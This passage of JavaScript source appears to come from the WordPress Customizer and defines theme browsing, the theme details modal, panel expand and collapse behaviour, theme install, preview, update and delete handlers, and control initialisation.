initializeNewQuery: function( newTerm, newTags ) { var section = this; // Clear the controls in the section. _.each( section.controls(), function( control ) { control.container.remove(); api.control.remove( control.id ); }); section.loaded = 0; section.fullyLoaded = false; section.screenshotQueue = null; // Run a new query, with loadThemes handling paging, etc. if ( ! section.loading ) { section.term = newTerm; section.tags = newTags; section.loadThemes(); } else { section.nextTerm = newTerm; // This will reload from loadThemes() with the newest term once the current batch is loaded. section.nextTags = newTags; // This will reload from loadThemes() with the newest tags once the current batch is loaded. } if ( ! section.expanded() ) { section.expand(); // Expand the section if it isn't expanded. } }, /** * Render control's screenshot if the control comes into view. * * @since 4.2.0 * * @return {void} */ renderScreenshots: function() { var section = this; // Fill queue initially, or check for more if empty. if ( null === section.screenshotQueue || 0 === section.screenshotQueue.length ) { // Add controls that haven't had their screenshots rendered. section.screenshotQueue = _.filter( section.controls(), function( control ) { return ! control.screenshotRendered; }); } // Are all screenshots rendered (for now)? if ( ! section.screenshotQueue.length ) { return; } section.screenshotQueue = _.filter( section.screenshotQueue, function( control ) { var $imageWrapper = control.container.find( '.theme-screenshot' ), $image = $imageWrapper.find( 'img' ); if ( ! $image.length ) { return false; } if ( $image.is( ':hidden' ) ) { return true; } // Based on unveil.js. var wt = section.$window.scrollTop(), wb = wt + section.$window.height(), et = $image.offset().top, ih = $imageWrapper.height(), eb = et + ih, threshold = ih * 3, inView = eb >= wt - threshold && et <= wb + threshold; if ( inView ) { control.container.trigger( 'render-screenshot' ); } // If the image is in view return false so it's cleared from the queue. return ! inView; } ); }, /** * Get visible count. * * @since 4.9.0 * * @return {number} Visible count. */ getVisibleCount: function() { return this.contentContainer.find( 'li.customize-control:visible' ).length; }, /** * Update the number of themes in the section. * * @since 4.9.0 * * @return {void} */ updateCount: function( count ) { var section = this, countEl, displayed; if ( ! count && 0 !== count ) { count = section.getVisibleCount(); } displayed = section.contentContainer.find( '.themes-displayed' ); countEl = section.contentContainer.find( '.theme-count' ); if ( 0 === count ) { countEl.text( '0' ); } else { // Animate the count change for emphasis. displayed.fadeOut( 180, function() { countEl.text( count ); displayed.fadeIn( 180 ); } ); wp.a11y.speak( api.settings.l10n.announceThemeCount.replace( '%d', count ) ); } }, /** * Advance the modal to the next theme. * * @since 4.2.0 * * @return {void} */ nextTheme: function () { var section = this; if ( section.getNextTheme() ) { section.showDetails( section.getNextTheme(), function() { section.overlay.find( '.right' ).focus(); } ); } }, /** * Get the next theme model. * * @since 4.2.0 * * @return {wp.customize.ThemeControl|boolean} Next theme. */ getNextTheme: function () { var section = this, control, nextControl, sectionControls, i; control = api.control( section.params.action + '_theme_' + section.currentTheme ); sectionControls = section.controls(); i = _.indexOf( sectionControls, control ); if ( -1 === i ) { return false; } nextControl = sectionControls[ i + 1 ]; if ( ! nextControl ) { return false; } return nextControl.params.theme; }, /** * Advance the modal to the previous theme. * * @since 4.2.0 * @return {void} */ previousTheme: function () { var section = this; if ( section.getPreviousTheme() ) { section.showDetails( section.getPreviousTheme(), function() { section.overlay.find( '.left' ).focus(); } ); } }, /** * Get the previous theme model. * * @since 4.2.0 * @return {wp.customize.ThemeControl|boolean} Previous theme. */ getPreviousTheme: function () { var section = this, control, nextControl, sectionControls, i; control = api.control( section.params.action + '_theme_' + section.currentTheme ); sectionControls = section.controls(); i = _.indexOf( sectionControls, control ); if ( -1 === i ) { return false; } nextControl = sectionControls[ i - 1 ]; if ( ! nextControl ) { return false; } return nextControl.params.theme; }, /** * Disable buttons when we're viewing the first or last theme. * * @since 4.2.0 * * @return {void} */ updateLimits: function () { if ( ! this.getNextTheme() ) { this.overlay.find( '.right' ).addClass( 'disabled' ); } if ( ! this.getPreviousTheme() ) { this.overlay.find( '.left' ).addClass( 'disabled' ); } }, /** * Load theme preview. * * @since 4.7.0 * @access public * * @deprecated * @param {string} themeId Theme ID. * @return {jQuery.promise} Promise. */ loadThemePreview: function( themeId ) { return api.ThemesPanel.prototype.loadThemePreview.call( this, themeId ); }, /** * Render & show the theme details for a given theme model. * * @since 4.2.0 * * @param {Object} theme - Theme. * @param {Function} [callback] - Callback once the details have been shown. * @return {void} */ showDetails: function ( theme, callback ) { var section = this, panel = api.panel( 'themes' ); section.currentTheme = theme.id; section.overlay.html( section.template( theme ) ) .fadeIn( 'fast' ) .focus(); function disableSwitchButtons() { return ! panel.canSwitchTheme( theme.id ); } // Temporary special function since supplying SFTP credentials does not work yet. See #42184. function disableInstallButtons() { return disableSwitchButtons() || false === api.settings.theme._canInstall || true === api.settings.theme._filesystemCredentialsNeeded; } section.overlay.find( 'button.preview, button.preview-theme' ).toggleClass( 'disabled', disableSwitchButtons() ); section.overlay.find( 'button.theme-install' ).toggleClass( 'disabled', disableInstallButtons() ); section.$body.addClass( 'modal-open' ); section.containFocus( section.overlay ); section.updateLimits(); wp.a11y.speak( api.settings.l10n.announceThemeDetails.replace( '%s', theme.name ) ); if ( callback ) { callback(); } }, /** * Close the theme details modal. * * @since 4.2.0 * * @return {void} */ closeDetails: function () { var section = this; section.$body.removeClass( 'modal-open' ); section.overlay.fadeOut( 'fast' ); api.control( section.params.action + '_theme_' + section.currentTheme ).container.find( '.theme' ).focus(); }, /** * Keep tab focus within the theme details modal. * * @since 4.2.0 * * @param {jQuery} el - Element to contain focus. * @return {void} */ containFocus: function( el ) { var tabbables; el.on( 'keydown', function( event ) { // Return if it's not the tab key // When navigating with prev/next focus is already handled. if ( 9 !== event.keyCode ) { return; } // Uses jQuery UI to get the tabbable elements. tabbables = $( ':tabbable', el ); // Keep focus within the overlay. if ( tabbables.last()[0] === event.target && ! event.shiftKey ) { tabbables.first().focus(); return false; } else if ( tabbables.first()[0] === event.target && event.shiftKey ) { tabbables.last().focus(); return false; } }); } }); api.OuterSection = api.Section.extend(/** @lends wp.customize.OuterSection.prototype */{ /** * Class wp.customize.OuterSection. * * Creates section outside of the sidebar, there is no ui to trigger collapse/expand so * it would require custom handling. * * @constructs wp.customize.OuterSection * @augments wp.customize.Section * * @since 4.9.0 * * @return {void} */ initialize: function() { var section = this; section.containerParent = '#customize-outer-theme-controls'; section.containerPaneParent = '.customize-outer-pane-parent'; api.Section.prototype.initialize.apply( section, arguments ); }, /** * Overrides api.Section.prototype.onChangeExpanded to prevent collapse/expand effect * on other sections and panels. * * @since 4.9.0 * * @param {boolean} expanded - The expanded state to transition to. * @param {Object} [args] - Args. * @param {boolean} [args.unchanged] - Whether the state is already known to not be changed, and so short-circuit with calling completeCallback early. * @param {Function} [args.completeCallback] - Function to call when the slideUp/slideDown has completed. * @param {Object} [args.duration] - The duration for the animation. */ onChangeExpanded: function( expanded, args ) { var section = this, container = section.headContainer.closest( '.wp-full-overlay-sidebar-content' ), content = section.contentContainer, backBtn = content.find( '.customize-section-back' ), sectionTitle = section.headContainer.find( '.accordion-section-title button, .accordion-section-title[tabindex]' ).first(), body = $( document.body ), expand, panel; body.toggleClass( 'outer-section-open', expanded ); section.container.toggleClass( 'open', expanded ); section.container.removeClass( 'busy' ); api.section.each( function( _section ) { if ( 'outer' === _section.params.type && _section.id !== section.id ) { _section.container.removeClass( 'open' ); } } ); if ( expanded && ! content.hasClass( 'open' ) ) { if ( args.unchanged ) { expand = args.completeCallback; } else { expand = function() { section._animateChangeExpanded( function() { backBtn.attr( 'tabindex', '0' ); backBtn.trigger( 'focus' ); content.css( 'top', '' ); container.scrollTop( 0 ); if ( args.completeCallback ) { args.completeCallback(); } } ); content.addClass( 'open' ); }.bind( this ); } if ( section.panel() ) { api.panel( section.panel() ).expand({ duration: args.duration, completeCallback: expand }); } else { expand(); } } else if ( ! expanded && content.hasClass( 'open' ) ) { if ( section.panel() ) { panel = api.panel( section.panel() ); if ( panel.contentContainer.hasClass( 'skip-transition' ) ) { panel.collapse(); } } section._animateChangeExpanded( function() { backBtn.attr( 'tabindex', '-1' ); sectionTitle.trigger( 'focus' ); content.css( 'top', '' ); if ( args.completeCallback ) { args.completeCallback(); } } ); content.removeClass( 'open' ); } else { if ( args.completeCallback ) { args.completeCallback(); } } } }); api.Panel = Container.extend(/** @lends wp.customize.Panel.prototype */{ containerType: 'panel', /** * @constructs wp.customize.Panel * @augments wp.customize~Container * * @since 4.1.0 * * @param {string} id - The ID for the panel. * @param {Object} options - Object containing one property: params. * @param {string} options.title - Title shown when panel is collapsed and expanded. * @param {string} [options.description] - Description shown at the top of the panel. * @param {number} [options.priority=100] - The sort priority for the panel. * @param {string} [options.type=default] - The type of the panel. See wp.customize.panelConstructor. * @param {string} [options.content] - The markup to be used for the panel container. If empty, a JS template is used. * @param {boolean} [options.active=true] - Whether the panel is active or not. * @param {Object} [options.params] - Deprecated wrapper for the above properties. */ initialize: function ( id, options ) { var panel = this, params; params = options.params || options; // Look up the type if one was not supplied. if ( ! params.type ) { _.find( api.panelConstructor, function( Constructor, type ) { if ( Constructor === panel.constructor ) { params.type = type; return true; } return false; } ); } Container.prototype.initialize.call( panel, id, params ); panel.embed(); panel.deferred.embedded.done( function () { panel.ready(); }); }, /** * Embed the container in the DOM when any parent panel is ready. * * @since 4.1.0 */ embed: function () { var panel = this, container = $( '#customize-theme-controls' ), parentContainer = $( '.customize-pane-parent' ); // @todo This should be defined elsewhere, and to be configurable. if ( ! panel.headContainer.parent().is( parentContainer ) ) { parentContainer.append( panel.headContainer ); } if ( ! panel.contentContainer.parent().is( panel.headContainer ) ) { container.append( panel.contentContainer ); } panel.renderContent(); panel.deferred.embedded.resolve(); }, /** * @since 4.1.0 */ attachEvents: function () { var meta, panel = this; // Expand/Collapse accordion sections on click. panel.headContainer.find( '.accordion-section-title button, .accordion-section-title[tabindex]' ).on( 'click keydown', function( event ) { if ( api.utils.isKeydownButNotEnterEvent( event ) ) { return; } event.preventDefault(); // Keep this AFTER the key filter above. if ( ! panel.expanded() ) { panel.expand(); } }); // Close panel. panel.container.find( '.customize-panel-back' ).on( 'click keydown', function( event ) { if ( api.utils.isKeydownButNotEnterEvent( event ) ) { return; } event.preventDefault(); // Keep this AFTER the key filter above. if ( panel.expanded() ) { panel.collapse(); } }); meta = panel.container.find( '.panel-meta:first' ); meta.find( '> .accordion-section-title .customize-help-toggle' ).on( 'click', function() { if ( meta.hasClass( 'cannot-expand' ) ) { return; } var content = meta.find( '.customize-panel-description:first' ); if ( meta.hasClass( 'open' ) ) { meta.toggleClass( 'open' ); content.slideUp( panel.defaultExpandedArguments.duration, function() { content.trigger( 'toggled' ); } ); $( this ).attr( 'aria-expanded', false ); } else { content.slideDown( panel.defaultExpandedArguments.duration, function() { content.trigger( 'toggled' ); } ); meta.toggleClass( 'open' ); $( this ).attr( 'aria-expanded', true ); } }); }, /** * Get the sections that are associated with this panel, sorted by their priority Value. * * @since 4.1.0 * * @return {Array} */ sections: function () { return this._children( 'panel', 'section' ); }, /** * Return whether this panel has any active sections. * * @since 4.1.0 * * @return {boolean} Whether contextually active. */ isContextuallyActive: function () { var panel = this, sections = panel.sections(), activeCount = 0; _( sections ).each( function ( section ) { if ( section.active() && section.isContextuallyActive() ) { activeCount += 1; } } ); return ( activeCount !== 0 ); }, /** * Update UI to reflect expanded state. * * @since 4.1.0 * * @param {boolean} expanded * @param {Object} args * @param {boolean} args.unchanged * @param {Function} args.completeCallback * @return {void} */ onChangeExpanded: function ( expanded, args ) { // Immediately call the complete callback if there were no changes. if ( args.unchanged ) { if ( args.completeCallback ) { args.completeCallback(); } return; } // Note: there is a second argument 'args' passed. var panel = this, accordionSection = panel.contentContainer, overlay = accordionSection.closest( '.wp-full-overlay' ), container = accordionSection.closest( '.wp-full-overlay-sidebar-content' ), topPanel = panel.headContainer.find( '.accordion-section-title button, .accordion-section-title[tabindex]' ), backBtn = accordionSection.find( '.customize-panel-back' ), childSections = panel.sections(), skipTransition; if ( expanded && ! accordionSection.hasClass( 'current-panel' ) ) { // Collapse any sibling sections/panels. api.section.each( function ( section ) { if ( panel.id !== section.panel() ) { section.collapse( { duration: 0 } ); } }); api.panel.each( function ( otherPanel ) { if ( panel !== otherPanel ) { otherPanel.collapse( { duration: 0 } ); } }); if ( panel.params.autoExpandSoleSection && 1 === childSections.length && childSections[0].active.get() ) { accordionSection.addClass( 'current-panel skip-transition' ); overlay.addClass( 'in-sub-panel' ); childSections[0].expand( { completeCallback: args.completeCallback } ); } else { panel._animateChangeExpanded( function() { backBtn.attr( 'tabindex', '0' ); backBtn.trigger( 'focus' ); accordionSection.css( 'top', '' ); container.scrollTop( 0 ); if ( args.completeCallback ) { args.completeCallback(); } } ); accordionSection.addClass( 'current-panel' ); overlay.addClass( 'in-sub-panel' ); } api.state( 'expandedPanel' ).set( panel ); } else if ( ! expanded && accordionSection.hasClass( 'current-panel' ) ) { skipTransition = accordionSection.hasClass( 'skip-transition' ); if ( ! skipTransition ) { panel._animateChangeExpanded( function() { topPanel.focus(); accordionSection.css( 'top', '' ); if ( args.completeCallback ) { args.completeCallback(); } } ); } else { accordionSection.removeClass( 'skip-transition' ); } overlay.removeClass( 'in-sub-panel' ); accordionSection.removeClass( 'current-panel' ); if ( panel === api.state( 'expandedPanel' ).get() ) { api.state( 'expandedPanel' ).set( false ); } } }, /** * Render the panel from its JS template, if it exists. * * The panel's container must already exist in the DOM. * * @since 4.3.0 */ renderContent: function () { var template, panel = this; // Add the content to the container. if ( 0 !== $( '#tmpl-' + panel.templateSelector + '-content' ).length ) { template = wp.template( panel.templateSelector + '-content' ); } else { template = wp.template( 'customize-panel-default-content' ); } if ( template && panel.headContainer ) { panel.contentContainer.html( template( _.extend( { id: panel.id }, panel.params ) ) ); } } }); api.ThemesPanel = api.Panel.extend(/** @lends wp.customize.ThemsPanel.prototype */{ /** * Class wp.customize.ThemesPanel. * * Custom section for themes that displays without the customize preview. * * @constructs wp.customize.ThemesPanel * @augments wp.customize.Panel * * @since 4.9.0 * * @param {string} id - The ID for the panel. * @param {Object} options - Options. * @return {void} */ initialize: function( id, options ) { var panel = this; panel.installingThemes = []; api.Panel.prototype.initialize.call( panel, id, options ); }, /** * Determine whether a given theme can be switched to, or in general. * * @since 4.9.0 * * @param {string} [slug] - Theme slug. * @return {boolean} Whether the theme can be switched to. */ canSwitchTheme: function canSwitchTheme( slug ) { if ( slug && slug === api.settings.theme.stylesheet ) { return true; } return 'publish' === api.state( 'selectedChangesetStatus' ).get() && ( '' === api.state( 'changesetStatus' ).get() || 'auto-draft' === api.state( 'changesetStatus' ).get() ); }, /** * Attach events. * * @since 4.9.0 * @return {void} */ attachEvents: function() { var panel = this; // Attach regular panel events. api.Panel.prototype.attachEvents.apply( panel ); // Temporary since supplying SFTP credentials does not work yet. See #42184. if ( api.settings.theme._canInstall && api.settings.theme._filesystemCredentialsNeeded ) { panel.notifications.add( new api.Notification( 'theme_install_unavailable', { message: api.l10n.themeInstallUnavailable, type: 'info', dismissible: true } ) ); } function toggleDisabledNotifications() { if ( panel.canSwitchTheme() ) { panel.notifications.remove( 'theme_switch_unavailable' ); } else { panel.notifications.add( new api.Notification( 'theme_switch_unavailable', { message: api.l10n.themePreviewUnavailable, type: 'warning' } ) ); } } toggleDisabledNotifications(); api.state( 'selectedChangesetStatus' ).bind( toggleDisabledNotifications ); api.state( 'changesetStatus' ).bind( toggleDisabledNotifications ); // Collapse panel to customize the current theme. panel.contentContainer.on( 'click', '.customize-theme', function() { panel.collapse(); }); // Toggle between filtering and browsing themes on mobile. panel.contentContainer.on( 'click', '.customize-themes-section-title, .customize-themes-mobile-back', function() { $( '.wp-full-overlay' ).toggleClass( 'showing-themes' ); }); // Install (and maybe preview) a theme. panel.contentContainer.on( 'click', '.theme-install', function( event ) { panel.installTheme( event ); }); // Update a theme. Theme cards have the class, the details modal has the id. panel.contentContainer.on( 'click', '.update-theme, #update-theme', function( event ) { // #update-theme is a link. event.preventDefault(); event.stopPropagation(); panel.updateTheme( event ); }); // Delete a theme. panel.contentContainer.on( 'click', '.delete-theme', function( event ) { panel.deleteTheme( event ); }); _.bindAll( panel, 'installTheme', 'updateTheme' ); }, /** * Update UI to reflect expanded state * * @since 4.9.0 * * @param {boolean} expanded - Expanded state. * @param {Object} args - Args. * @param {boolean} args.unchanged - Whether or not the state changed. * @param {Function} args.completeCallback - Callback to execute when the animation completes. * @return {void} */ onChangeExpanded: function( expanded, args ) { var panel = this, overlay, sections, hasExpandedSection = false; // Expand/collapse the panel normally. api.Panel.prototype.onChangeExpanded.apply( this, [ expanded, args ] ); // Immediately call the complete callback if there were no changes. if ( args.unchanged ) { if ( args.completeCallback ) { args.completeCallback(); } return; } overlay = panel.headContainer.closest( '.wp-full-overlay' ); if ( expanded ) { overlay .addClass( 'in-themes-panel' ) .delay( 200 ).find( '.customize-themes-full-container' ).addClass( 'animate' ); _.delay( function() { overlay.addClass( 'themes-panel-expanded' ); }, 200 ); // Automatically open the first section (except on small screens), if one isn't already expanded. if ( 600 < window.innerWidth ) { sections = panel.sections(); _.each( sections, function( section ) { if ( section.expanded() ) { hasExpandedSection = true; } } ); if ( ! hasExpandedSection && sections.length > 0 ) { sections[0].expand(); } } } else { overlay .removeClass( 'in-themes-panel themes-panel-expanded' ) .find( '.customize-themes-full-container' ).removeClass( 'animate' ); } }, /** * Install a theme via wp.updates. * * @since 4.9.0 * * @param {jQuery.Event} event - Event. * @return {jQuery.promise} Promise. */ installTheme: function( event ) { var panel = this, preview, onInstallSuccess, slug = $( event.target ).data( 'slug' ), deferred = $.Deferred(), request; preview = $( event.target ).hasClass( 'preview' ); // Temporary since supplying SFTP credentials does not work yet. See #42184. if ( api.settings.theme._filesystemCredentialsNeeded ) { deferred.reject({ errorCode: 'theme_install_unavailable' }); return deferred.promise(); } // Prevent loading a non-active theme preview when there is a drafted/scheduled changeset. if ( ! panel.canSwitchTheme( slug ) ) { deferred.reject({ errorCode: 'theme_switch_unavailable' }); return deferred.promise(); } // Theme is already being installed. if ( _.contains( panel.installingThemes, slug ) ) { deferred.reject({ errorCode: 'theme_already_installing' }); return deferred.promise(); } wp.updates.maybeRequestFilesystemCredentials( event ); onInstallSuccess = function( response ) { var theme = false, themeControl; if ( preview ) { api.notifications.remove( 'theme_installing' ); panel.loadThemePreview( slug ); } else { api.control.each( function( control ) { if ( 'theme' === control.params.type && control.params.theme.id === response.slug ) { theme = control.params.theme; // Used below to add theme control. control.rerenderAsInstalled( true ); } }); // Don't add the same theme more than once. if ( ! theme || api.control.has( 'installed_theme_' + theme.id ) ) { deferred.resolve( response ); return; } // Add theme control to installed section. theme.type = 'installed'; themeControl = new api.controlConstructor.theme( 'installed_theme_' + theme.id, { type: 'theme', section: 'installed_themes', theme: theme, priority: 0 // Add all newly-installed themes to the top. } ); api.control.add( themeControl ); api.control( themeControl.id ).container.trigger( 'render-screenshot' ); // Close the details modal if it's open to the installed theme. api.section.each( function( section ) { if ( 'themes' === section.params.type ) { if ( theme.id === section.currentTheme ) { // Don't close the modal if the user has navigated elsewhere. section.closeDetails(); } } }); } deferred.resolve( response ); }; panel.installingThemes.push( slug ); // Note: we don't remove elements from installingThemes, since they shouldn't be installed again. request = wp.updates.installTheme( { slug: slug } ); // Also preview the theme as the event is triggered on Install & Preview. if ( preview ) { api.notifications.add( new api.OverlayNotification( 'theme_installing', { message: api.l10n.themeDownloading, type: 'info', loading: true } ) ); } request.done( onInstallSuccess ); request.fail( function() { api.notifications.remove( 'theme_installing' ); } ); return deferred.promise(); }, /** * Load theme preview. * * @since 4.9.0 * * @param {string} themeId Theme ID. * @return {jQuery.promise} Promise. */ loadThemePreview: function( themeId ) { var panel = this, deferred = $.Deferred(), onceProcessingComplete, urlParser, queryParams; // Prevent loading a non-active theme preview when there is a drafted/scheduled changeset. if ( ! panel.canSwitchTheme( themeId ) ) { deferred.reject({ errorCode: 'theme_switch_unavailable' }); return deferred.promise(); } urlParser = document.createElement( 'a' ); urlParser.href = location.href; queryParams = _.extend( api.utils.parseQueryString( urlParser.search.substr( 1 ) ), { theme: themeId, changeset_uuid: api.settings.changeset.uuid, 'return': api.settings.url['return'] } ); // Include autosaved param to load autosave revision without prompting user to restore it. if ( ! api.state( 'saved' ).get() ) { queryParams.customize_autosaved = 'on'; } urlParser.search = $.param( queryParams ); // Update loading message. Everything else is handled by reloading the page. api.notifications.add( new api.OverlayNotification( 'theme_previewing', { message: api.l10n.themePreviewWait, type: 'info', loading: true } ) ); onceProcessingComplete = function() { var request; if ( api.state( 'processing' ).get() > 0 ) { return; } api.state( 'processing' ).unbind( onceProcessingComplete ); request = api.requestChangesetUpdate( {}, { autosave: true } ); request.done( function() { deferred.resolve(); $( window ).off( 'beforeunload.customize-confirm' ); location.replace( urlParser.href ); } ); request.fail( function() { // @todo Show notification regarding failure. api.notifications.remove( 'theme_previewing' ); deferred.reject(); } ); }; if ( 0 === api.state( 'processing' ).get() ) { onceProcessingComplete(); } else { api.state( 'processing' ).bind( onceProcessingComplete ); } return deferred.promise(); }, /** * Update a theme via wp.updates. * * @since 4.9.0 * * @param {jQuery.Event} event - Event. * @return {void} */ updateTheme: function( event ) { wp.updates.maybeRequestFilesystemCredentials( event ); $( document ).one( 'wp-theme-update-success', function( e, response ) { // Rerender the control to reflect the update. api.control.each( function( control ) { if ( 'theme' === control.params.type && control.params.theme.id === response.slug ) { control.params.theme.hasUpdate = false; control.params.theme.version = response.newVersion; setTimeout( function() { control.rerenderAsInstalled( true ); }, 2000 ); } }); } ); wp.updates.updateTheme( { slug: $( event.target ).closest( '.notice' ).data( 'slug' ) } ); }, /** * Delete a theme via wp.updates. * * @since 4.9.0 * * @param {jQuery.Event} event - Event. * @return {void} */ deleteTheme: function( event ) { var theme, section; theme = $( event.target ).data( 'slug' ); section = api.section( 'installed_themes' ); event.preventDefault(); // Temporary since supplying SFTP credentials does not work yet. See #42184. if ( api.settings.theme._filesystemCredentialsNeeded ) { return; } // Confirmation dialog for deleting a theme. if ( ! window.confirm( api.settings.l10n.confirmDeleteTheme ) ) { return; } wp.updates.maybeRequestFilesystemCredentials( event ); $( document ).one( 'wp-theme-delete-success', function() { var control = api.control( 'installed_theme_' + theme ); // Remove theme control. control.container.remove(); api.control.remove( control.id ); // Update installed count. section.loaded = section.loaded - 1; section.updateCount(); // Rerender any other theme controls as uninstalled. api.control.each( function( control ) { if ( 'theme' === control.params.type && control.params.theme.id === theme ) { control.rerenderAsInstalled( false ); } }); } ); wp.updates.deleteTheme( { slug: theme } ); // Close modal and focus the section. section.closeDetails(); section.focus(); } }); api.Control = api.Class.extend(/** @lends wp.customize.Control.prototype */{ defaultActiveArguments: { duration: 'fast', completeCallback: $.noop }, /** * Default params. * * @since 4.9.0 * @var {object} */ defaults: { label: '', description: '', active: true, priority: 10 }, /** * A Customizer Control. * * A control provides a UI element that allows a user to modify a Customizer Setting. * * @see PHP class WP_Customize_Control. * * @constructs wp.customize.Control * @augments wp.customize.Class * * @borrows wp.customize~focus as this#focus * @borrows wp.customize~Container#activate as this#activate * @borrows wp.customize~Container#deactivate as this#deactivate * @borrows wp.customize~Container#_toggleActive as this#_toggleActive * * @param {string} id - Unique identifier for the control instance. * @param {Object} options - Options hash for the control instance. * @param {Object} options.type - Type of control (e.g. text, radio, dropdown-pages, etc.) * @param {string} [options.content] - The HTML content for the control or at least its container. This should normally be left blank and instead supplying a templateId. * @param {string} [options.templateId] - Template ID for control's content. * @param {string} [options.priority=10] - Order of priority to show the control within the section. * @param {string} [options.active=true] - Whether the control is active. * @param {string} options.section - The ID of the section the control belongs to. * @param {mixed} [options.setting] - The ID of the main setting or an instance of this setting. * @param {mixed} options.settings - An object with keys (e.g. default) that maps to setting IDs or Setting/Value objects, or an array of setting IDs or Setting/Value objects. * @param {mixed} options.settings.default - The ID of the setting the control relates to. * @param {string} options.settings.data - @todo Is this used? * @param {string} options.label - Label. * @param {string} options.description - Description. * @param {number} [options.instanceNumber] - Order in which this instance was created in relation to other instances. * @param {Object} [options.params] - Deprecated wrapper for the above properties. * @return {void} */ initialize: function( id, options ) { var control = this, deferredSettingIds = [], settings, gatherSettings; control.params = _.extend( {}, control.defaults, control.params || {}, // In case subclass already defines. options.params || options || {} // The options.params property is deprecated, but it is checked first for back-compat. ); if ( ! api.Control.instanceCounter ) { api.Control.instanceCounter = 0; } api.Control.instanceCounter++; if ( ! control.params.instanceNumber ) { control.params.instanceNumber = api.Control.instanceCounter; } // Look up the type if one was not supplied. if ( ! control.params.type ) { _.find( api.controlConstructor, function( Constructor, type ) { if ( Constructor === control.constructor ) { control.params.type = type; return true; } return false; } ); } if ( ! control.params.content ) { control.params.content = $( '<li></li>', { id: 'customize-control-' + id.replace( /]/g, '' ).replace( /\[/g, '-' ), 'class': 'customize-control customize-control-' + control.params.type } ); } control.id = id; control.selector = '#customize-control-' + id.replace( /\]/g, '' ).replace( /\[/g, '-' ); // Deprecated, likely dead code from time before #28709. if ( control.params.content ) { control.container = $( control.params.content ); } else { control.container = $( control.selector ); // Likely dead, per above. See #28709. } if ( control.params.templateId ) { control.templateSelector = control.params.templateId; } else { control.templateSelector = 'customize-control-' + control.params.type + '-content'; } control.deferred = _.extend( control.deferred || {}, { embedded: new $.Deferred() } ); control.section = new api.Value(); control.priority = new api.Value(); control.active = new api.Value(); control.activeArgumentsQueue = []; control.notifications = new api.Notifications({ alt: control.altNotice }); control.elements = []; control.active.bind( function ( active ) { var args = control.activeArgumentsQueue.shift(); args = $.extend( {}, control.defaultActiveArguments, args ); control.onChangeActive( active, args ); } ); control.section.set( control.params.section ); control.priority.set( isNaN( control.params.priority ) ? 10 : control.params.priority ); control.active.set( control.params.active ); api.utils.bubbleChildValueChanges( control, [ 'section', 'priority', 'active' ] ); control.settings = {}; settings = {}; if ( control.params.setting ) { settings['default'] = control.params.setting; } _.extend( settings, control.params.settings ); // Note: Settings can be an array or an object, with values being either setting IDs or Setting (or Value) objects. _.each( settings, function( value, key ) { var setting; if ( _.isObject( value ) && _.isFunction( value.extended ) && value.extended( api.Value ) ) { control.settings[ key ] = value; } else if ( _.isString( value ) ) { setting = api( value ); if ( setting ) { control.settings[ key ] = setting; } else { deferredSettingIds.push( value ); } } } ); gatherSettings = function() { // Fill-in all resolved settings. _.each( settings, function ( settingId, key ) { if ( ! control.settings[ key ] && _.isString( settingId ) ) { control.settings[ key ] = api( settingId ); } } ); // Make sure settings passed as array gets associated with default. if ( control.settings[0] && ! control.settings['default'] ) { control.settings['default'] = control.settings[0]; } // Identify the main setting. control.setting = control.settings['default'] || null; control.linkElements(); // Link initial elements present in server-rendered content. control.embed(); }; if ( 0 === deferredSettingIds.length ) { gatherSettings(); } else { api.apply( api, deferredSettingIds.concat( gatherSettings ) ); } // After the control is embedded on the page, invoke the "ready" method. control.deferred.embedded.done( function () { control.linkElements(); // Link any additional elements after template is rendered by renderContent(). control.setupNotifications(); control.ready(); }); }, /** * Link elements between settings and inputs. * * @since 4.7.0 * @access public * * @return {void} */ linkElements: function () { var control = this, nodes, radios, element; nodes = control.container.find( '[data-customize-setting-link], [data-customize-setting-key-link]' ); radios = {}; nodes.each( function () { var node = $( this ), name, setting; if ( node.data( 'customizeSettingLinked' ) ) { return; } node.data( 'customizeSettingLinked', true ); // Prevent re-linking element. if ( node.is( ':radio' ) ) { name = node.prop( 'name' ); if ( radios[name] ) { return; } radios[name] = true; node = nodes.filter( '[name="' + name + '"]' ); } // Let link by default refer to setting ID. If it doesn't exist, fallback to looking up by setting key. if ( node.data( 'customizeSettingLink' ) ) { setting = api( node.data( 'customizeSettingLink' ) ); } else if ( node.data( 'customizeSettingKeyLink' ) ) { setting = control.settings[ node.data( 'customizeSettingKeyLink' ) ]; } if ( setting ) { element = new api.Element( node ); control.elements.push( element ); element.sync( setting ); element.set( setting() ); } } ); }, /** * Embed the control into the page. */ embed: function () { var control = this, inject; // Watch for changes to the section state. inject = function ( sectionId ) { var parentContainer; if ( ! sectionId ) { // @todo Allow a control to be embedded without a section, for instance a control embedded in the front end. return; } // Wait for the section to be registered. api.section( sectionId, function ( section ) { // Wait for the section to be ready/initialized. section.deferred.embedded.done( function () { parentContainer = ( section.contentContainer.is( 'ul' ) ) ? section.contentContainer : section.contentContainer.find( 'ul:first' ); if ( ! control.container.parent().is( parentContainer ) ) { parentContainer.append( control.container ); } control.renderContent(); control.deferred.embedded.resolve(); }); }); }; control.section.bind( inject ); inject( control.section.get() ); }, /** * Triggered when the control's markup has been injected into the DOM. * * @return {void} */ ready: function() { var control = this, newItem; if ( 'dropdown-pages' === control.params.type && control.params.allow_addition ) { newItem = control.container.find( '.new-content-item-wrapper' ); newItem.hide(); // Hide in JS to preserve flex display when showing. control.container.on( 'click', '.add-new-toggle', function( e ) { $( e.currentTarget ).slideUp( 180 ); newItem.slideDown( 180 ); newItem.find( '.create-item-input' ).focus(); }); control.container.on( 'click', '.add-content', function() { control.addNewPage(); }); control.container.on( 'keydown', '.create-item-input', function( e ) { if ( 13 === e.which ) { // Enter. control.addNewPage(); } }); } }, /** * Get the element inside of a control's container that contains the validation error message. * * Control subclasses may override this to return the proper container to render notifications into. * Injects the notification container for existing controls that lack the necessary container, * including special handling for nav menu items and widgets. * * @since 4.6.0 * @return {jQuery} Setting validation message element. */ getNotificationsContainerElement: function() { var control = this, controlTitle, notificationsContainer; notificationsContainer = control.container.find( '.customize-control-notifications-container:first' ); if ( notificationsContainer.length ) { return notificationsContainer; } notificationsContainer = $( '<div class="customize-control-notifications-container"></div>' ); if ( control.container.hasClass( 'customize-control-nav_menu_item' ) ) { control.container.find( '.menu-item-settings:first' ).prepend( notificationsContainer ); } else if ( control.container.hasClass( 'customize-control-widget_form' ) ) { control.container.find( '.widget-inside:first' ).prepend( notificationsContainer ); } else { controlTitle = control.container.find( '.customize-control-title' ); if ( controlTitle.length ) { controlTitle.after( notificationsContainer ); } else { control.container.prepend( notificationsContainer ); } } return notificationsContainer; }, /** * Set up notifications. * * @since 4.9.0 * 